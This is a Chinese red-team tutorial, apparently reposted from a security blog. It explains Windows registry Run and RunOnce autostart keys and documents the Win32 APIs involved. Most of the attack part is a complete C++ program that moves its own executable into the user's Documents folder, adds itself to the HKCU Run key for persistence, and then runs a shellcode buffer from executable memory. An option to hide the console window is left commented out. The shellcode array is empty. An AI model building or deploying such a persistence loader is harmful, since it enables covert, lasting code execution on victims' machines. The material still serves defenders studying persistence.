文章总结: 文档介绍了Windows注册表自启动项分类及原理,详细讲解了涉及文件路径获取与注册表操作的核心WindowsAPI。附带C++代码演示了如何通过移动文件至Documents目录并修改HKCU注册表Run项来实现持久化与自启动,包含Shellcode加载功能。 综合评分: 91 文章分类: 红队,内网渗透,安全开发
Windows安全攻防-注册表自启动
原创
R0x7e
剑外思归客
2026年1月10日 05:35 江苏
启动项分类
用户级启动项-HKEY_CURRENT_USER
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run当特定用户登录时,此路径下的程序会自动启动,只需当前用户权限即可修改(普通用户可操作自己账户下的此项)。HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce程序只会自动运行一次。运行后,该项通常会被系统自动删除(除非程序阻止删除)。常用于安装程序完成后的首次配置、清理任务或需要单次运行的工具。
系统级启动项-HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run当任何用户登录时,此路径下的程序都会自动启动。通常用于系统级或全局性的服务和应用(如硬件监控工具、企业统一部署的客户端),需要管理员权限才能修改,影响计算机上的所有用户账户。HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 同HKCU的RunOnce,但程序会在系统启动后、用户登录前运行一次(通常需要管理员权限)。运行后项被删除。常用于系统级别的安装后任务或修复, 需要管理员权限修改,影响整个系统。
相关windows API
GetModuleFileNameW
用于获取指定模块的完整路径文件名,在当前项目中用于获取当前程序的绝对路径
DWORD GetModuleFileNameW(
[in, optional] HMODULE hModule,
[out] LPWSTR lpFilename,
[in] DWORD nSize
);
hModule要获取路径的模块的句柄, 如果为 NULL,则返回调用进程的可执行文件路径lpFilename接收模块路径的缓冲区nSize指定缓冲区大小(以字符为单位),通常使用 MAX_PATH 常量(260个字符)返回值- 成功时: 返回复制到缓冲区中的字符串长度(以字符为单位)
- 失败时: 返回0,可通过 GetLastError() 获取错误信息
SHGetKnownFolderPath
用于获取系统标准文件夹的完整路径,如获取当前用户的Documents目录,程序文件目录 (通常是 C:\Program Files),桌面目录等
HRESULT SHGetKnownFolderPath(
REFKNOWNFOLDERID rfid,
DWORD dwFlags,
HANDLE hToken,
PWSTR *ppszPath
);
参数:
-
rfid这是一个 GUID 引用,标识要获取的特定已知文件夹。Windows 定义了数百个标准文件夹的 GUID,例如: -
FOLDERID_Documents– 当前用户的文档文件夹 -
FOLDERID_ProgramFiles– 程序文件目录 (通常是 C:\Program Files)、 -
FOLDERID_Desktop– 桌面目录 -
FOLDERID_Profile– 用户配置文件目录 -
完整的已知文件夹 ID 列表可以在微软官方文档或
Shlobj.h头文件中找到。 -
dwFlags指定获取路径时的特殊选项标志
| 标志值 | 描述 |
| — | — |
| KF_FLAG_DEFAULT (0x00000000) | 默认行为 |
| KF_FLAG_NO_APPCONTAINER_REDIRECTION (0x00010000) | 禁止应用容器重定向 |
| KF_FLAG_CREATE (0x00008000) | 如果文件夹不存在则创建 |
| KF_FLAG_DONT_VERIFY (0x00004000) | 不验证文件夹是否存在 |
| KF_FLAG_DONT_UNEXPAND (0x00002000) | 返回环境变量不展开的路径 |
| KF_FLAG_NO_ALIAS (0x00001000) | 不解析为别名路径 |
| KF_FLAG_INIT (0x00000800) | 初始化文件夹 |
| KF_FLAG_DEFAULT_PATH (0x00000400) | 获取默认路径而非当前路径 |
| KF_FLAG_NOT_PARENT_RELATIVE (0x00000200) | 返回绝对路径而非相对于父文件夹 |
hToken代表用户令牌的句柄,可用于为特定用户获取文件夹路径。通常传递 NULL 表示当前用户。ppszPath指向接收路径字符串指针的指针。调用成功后,必须使用CoTaskMemFree释放返回的内存。
返回值
S_OK: 成功获取路径E_FAIL: 操作失败E_INVALIDARG: 参数无效 其返回值可以用SUCCEEDED函数进行检测,执行成功SUCCEEDED函数会返回TRUE,失败返回FALSE
PathFindFileNameW
用于从完整文件路径中提取文件名的函数
LPCWSTR PathFindFileNameW(
[in] LPCWSTR pszPath //路径
);
返回值如果成功,则返回指向字符串地址的指针,否则返回指向路径开头的指针。
RegOpenKeyExW
打开指定的注册表项。 请注意,键名称不区分大小写。
LSTATUS RegOpenKeyExW(
[in] HKEY hKey,
[in, optional] LPCWSTR lpSubKey,
[in] DWORD ulOptions,
[in] REGSAM samDesired,
[out] PHKEY phkResult
);
参数:
-
hKey:打开的注册表项的句柄。 此句柄由 RegCreateKeyEx 或 RegOpenKeyEx 函数返回,也可以是以下 预定义键之一:HKEY_CLASSES_ROOT、HKEY_CURRENT_CONFIG、HKEY_CURRENT_USER、HKEY_LOCAL_MACHINE、HKEY_USERS -
lpSubKey:要打开的注册表子项的名称,键名称不区分大小写。 -
ulOptions:保留参数,必须设置为0。 -
samDesired:指定对要打开的键的访问权限。这是一个位掩码,可以使用OR操作符组合以下常用标志: -
KEY_QUERY_VALUE: 允许查询键的值。 -
KEY_SET_VALUE: 允许设置键的值(创建或修改)。 -
KEY_CREATE_SUB_KEY: 允许在键下创建子键。 -
KEY_ENUMERATE_SUB_KEYS: 允许枚举键的子键。 -
KEY_READ: 是KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_NOTIFY的组合(常用读取组合)。 -
KEY_WRITE: 是KEY_SET_VALUE | KEY_CREATE_SUB_KEY的组合(常用写入组合)。 -
KEY_ALL_ACCESS: 提供对该键的完全控制(组合了所有可能的权限)。 -
phkResult: 指向一个HKEY变量的指针。如果函数成功,该变量将接收打开的注册表项的句柄。返回值如果函数成功,返回值为ERROR_SUCCESS(0),如果函数失败,返回值是一个非零的错误代码(定义在Winerror.h中): -
ERROR_FILE_NOT_FOUND: 指定的键不存在。 -
ERROR_ACCESS_DENIED: 调用进程没有足够的权限访问该键(通常是由于samDesired权限不足或UAC限制)。 -
ERROR_INVALID_HANDLE:hKey参数无效。 -
ERROR_BAD_PATHNAME:lpSubKey路径无效。
RegSetValueExW
用于向注册表的特定键(Key) 下的一个值(Value) 写入数据的函数。后缀 W 表示这是该函数的宽字符(Unicode) 版本
LSTATUS RegSetValueExW(
[in] HKEY hKey, // 要操作的注册表项的句柄
[in, optional] LPCWSTR lpValueName, // 要设置的值名称
[reserved] DWORD Reserved, // 保留参数,必须为0
[in] DWORD dwType, // 要存储的数据的类型
[in] const BYTE *lpData, // 指向包含数据的缓冲区的指针
[in] DWORD cbData // 缓冲区数据的大小(以字节为单位)
);
-
hKey: 个已经打开的注册表项的句柄,或者一个预定义的根键句柄。 -
lpValueName: 要设置或创建的值名称的指针。如果该值不存在,函数会创建它,如果这个参数是NULL或空字符串 (""),函数会设置该键的默认值。 -
Reserved:保留参数,必须设置为0 -
dwType:指定要存储的数据的类型。这是一个DWORD类型的常量。 -
常用类型:
-
REG_SZ:一个以 null 结尾的 Unicode 字符串。这是最常用的类型。 -
REG_EXPAND_SZ:一个以 null 结尾的 Unicode 字符串,其中包含未扩展的环境变量(如%USERPROFILE%)。 -
REG_DWORD:一个 32 位的数字。 -
REG_QWORD:一个 64 位的数字。 -
REG_BINARY:任意格式的二进制数据。 -
lpData:指向一个缓冲区的指针,该缓冲区包含了你要为指定值名称存储的数据。数据的格式必须与dwType参数指定的类型相匹配。 -
示例:
-
如果
dwType是REG_SZ,这里应传入const char*或const wchar_t*(需要强制转换)。 -
如果
dwType是REG_DWORD,这里应传入const DWORD*(即一个DWORD变量的地址)。 -
cbData:指定lpData参数所指向的数据的大小,单位是字节(Bytes)。 -
–对于字符串(
REG_SZ,REG_EXPAND_SZ):这个大小必须包括字符串结尾的 null 终止符(\0)。通常可以使用(wcslen(your_string) + 1) * sizeof(WCHAR)来计算。 -
对于
REG_DWORD:大小总是sizeof(DWORD)(即 4 字节)。 -
对于
REG_QWORD:大小总是sizeof(QWORD)(即 8 字节)。 -
对于
REG_BINARY:就是二进制数据块的确切字节数。返回值 -
成功:返回
ERROR_SUCCESS(值为 0)。 -
失败:返回一个非零的错误代码(例如
ERROR_ACCESS_DENIED),可以通过FormatMessage函数获取错误的文本描述。
示例代码
#include <iostream>
#include <windows.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <winbase.h>
#pragma comment(lib, "shlwapi.lib")
//隐藏窗口
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
//实现目标:
// 将自身可执行文件移动到C:\Users\admin\Documents目录中
// 将自身添加进注册表的自启动项中,实现开机自启动
//加载shellcode,并执行
unsignedchar shellcode[] = "";
//将当前程序移动到C:\Users\admin\Documents目录,返回移动后的目录
std::wstring MoveFile() {
wchar_t path[MAX_PATH] = { 0 };
GetModuleFileNameW(NULL, path, MAX_PATH); //获取当前可执行文件的路径
wchar_t* fileName = PathFindFileNameW(path); //从路径中获取当前文件名
PWSTR DocumentsPath = nullptr;
// FOLDERID_Documents 表示当前用户的 Documents 文件夹
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_Documents, 0, nullptr, &DocumentsPath))) { //获取Documents目录
std::wstring docsPath(path);
std::wstring targetPath = std::wstring(DocumentsPath) + L"\\" + std::wstring(fileName); //目标路径
std::wcout << "目标路径为: " << targetPath << std::endl; //此时输出拼接后的路径,作为调试信息
CoTaskMemFree(DocumentsPath); // 释放内存
if (!MoveFileExW(path, targetPath.c_str(), MOVEFILE_REPLACE_EXISTING)) { //移动成功返回非0
std::cout << "移动文件失败: " << GetLastError() << std::endl;
returnstd::wstring(path);
}
else {
std::wcout << "文件移动成功:" << targetPath << std::endl;
return targetPath;
}
}
else {
std::cout << "获取Documents目录失败: " << GetLastError() << std::endl;
returnstd::wstring(path);
}
}
//将当前程序添加进注册表中
BOOL AddRegister(LPCWSTR lpszPath) {
HKEY hKey;
LONG result = RegOpenKeyExW(
HKEY_CURRENT_USER, //HKEY_CURRENT_USER用户级启动项,HKEY_LOCAL_MACHINE表示系统级
L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", // 打开注册表 Run 键
0, //保留参数,必须为0
KEY_SET_VALUE, //访问权限
&hKey //返回键的句柄
);
if (result != ERROR_SUCCESS) {
std::cerr << "打开注册表项失败. Error code: " << result << std::endl;
return1;
}
// 设置程序名称为注册表项名称
std::wstring appName = L"MyAutoStartApp";
// 将程序路径写入注册表
result = RegSetValueExW(
hKey, //已打开的键的句柄
appName.c_str(), //值名称
0, //必须为0
REG_SZ, //值类型,REG_SZ表示以NULL结尾的字符串
(const BYTE*)lpszPath, //数据缓冲区
(wcslen(lpszPath) + 1) * sizeof(wchar_t)); //数据大小
if (result != ERROR_SUCCESS) {
std::cerr << "设置注册表值失败. Error code: " << result << std::endl;
RegCloseKey(hKey);
return1;
}
std::cout << "设置注册表键值对成功!当前程序已成功添加进开机自启动" << std::endl;
// 关闭注册表键
RegCloseKey(hKey);
return0;
}
//加载shellcode
BOOL LoadCode() {
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
return1;
}
int main()
{
std::cout << "开始获取目录...." << std::endl;
std::wstring filepath = MoveFile();
std::cout << "开始添加注册表项...." << std::endl;
AddRegister(filepath.c_str());
std::cout << "正在执行shellcode....." << std::endl;
LoadCode();
}
By: 《剑外思归客》公众号,R0x7e
免责声明 / Ethical & Legal Disclaimer
- 本文内容仅面向网络安全教育、网络安全研究与防御加固目的,所有演示均应在明确书面授权或自有资产范围内进行。
- 任何将本文内容用于未授权测试、攻击、渗透、持久化、权限提升、数据访问或破坏行为的,均与作者无关,后果由行为人自行承担。
- 本文不构成针对任何系统/组织的攻击指引或操作保证;读者应评估适用性与风险,确保测试过程不影响生产环境与第三方权益。
- 如本文引用或展示的工具、样本、截图或配置涉及第三方内容,其版权与责任归原权利人所有。
- 继续阅读/使用本文内容,视为你已理解并同意上述条款。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:剑外思归客 R0x7e《Windows安全攻防-注册表自启动》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论